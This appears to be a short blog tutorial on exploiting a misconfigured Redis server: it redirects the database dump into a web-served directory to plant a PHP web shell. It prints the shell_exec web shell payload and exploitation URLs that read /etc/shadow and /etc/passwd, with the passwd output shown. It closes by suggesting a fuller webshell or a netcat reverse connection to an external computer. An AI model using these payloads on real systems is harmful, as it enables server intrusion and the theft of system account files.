Redis is a key-value database that is stored in RAM but allows data to be dumped to disk. In this case, we will explain in a practical way the problems that we can encounter if we incorrectly configure this service.
This type of attack would most likely be carried out by a developer with access to the Redis CLI or by an external attacker who has managed to find some point in the web application where input data is not parsed correctly and is stored in Redis. A third scenario could be an unfiltered Redis through iptables (free bar).
The strategy to follow will be to define an alternative route to save the database, assign a rare value to a variable and force the dump to disk, thus generating a file with the desired content in the desired path. It should be noted that this attack is only possible if the user running Redis has permissions to write under a directory served by a web server and depending on the user used in the Apache vhost, some commands can be executed or others.
We access the Redis CLI:
We generate the variable with the content of a PHP file that will execute any command passed by GET:
OK
We specify where to save the database, remember that it must be a path accessible from the outside through http:
OK
We dump to disk, generating the file:
Background saving started
NOTE: If the attack is due to an injection, the attacker will only be able to assign the value of the variable but not dump that content to disk. They will have to wait for the time configured by the sysadmin for redis to automatically dump to disk. Until that moment, the file will not be generated on disk and therefore will not be accessible.
We can check that the file exists and has the gift inside (a little modified):
REDIS0006þb/<?php echo shell_exec($_GET["cmd"]." 2>&1"); ?>ÿJØrßÀ%RX3 redis_files #
We proceed with the execution of the PHP and surprise!!:
http://localhost/redis_files/a.php?cmd=cat%20/etc/shadow
REDIS0006?b/cat: /etc/shadow: Permission denied ??J?r???%
This is because Apache was configured with suexec support and that vhost is being run by a user who does not have permissions to access /etc/shadow. However, they do have access to /etc/passwd:
http://localhost/redis_files/a.php?cmd=cat%20/etc/passwd
REDIS0006þb/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
qemu:x:77:77:added by portage for libvirt:/dev/null:/sbin/nologin
avahi:x:108:991:added by portage for avahi:/dev/null:/sbin/nologin
bitlbee:x:109:990:added by portage for bitlbee:/var/lib/bitlbee:/sbin/nologin
geoclue:x:110:988:added by portage for geoclue:/var/lib/geoclue:/sbin/nologin
ÿJØrßÀ%
Bingo!!! with some garbage but it is a totally usable output. Perhaps something a little more interesting would be to put the code of a whole webshell in the redis variable or even download netcat with a first command and with a second one, perform a reverse connection to some external computer… that’s up to each one’s taste ;)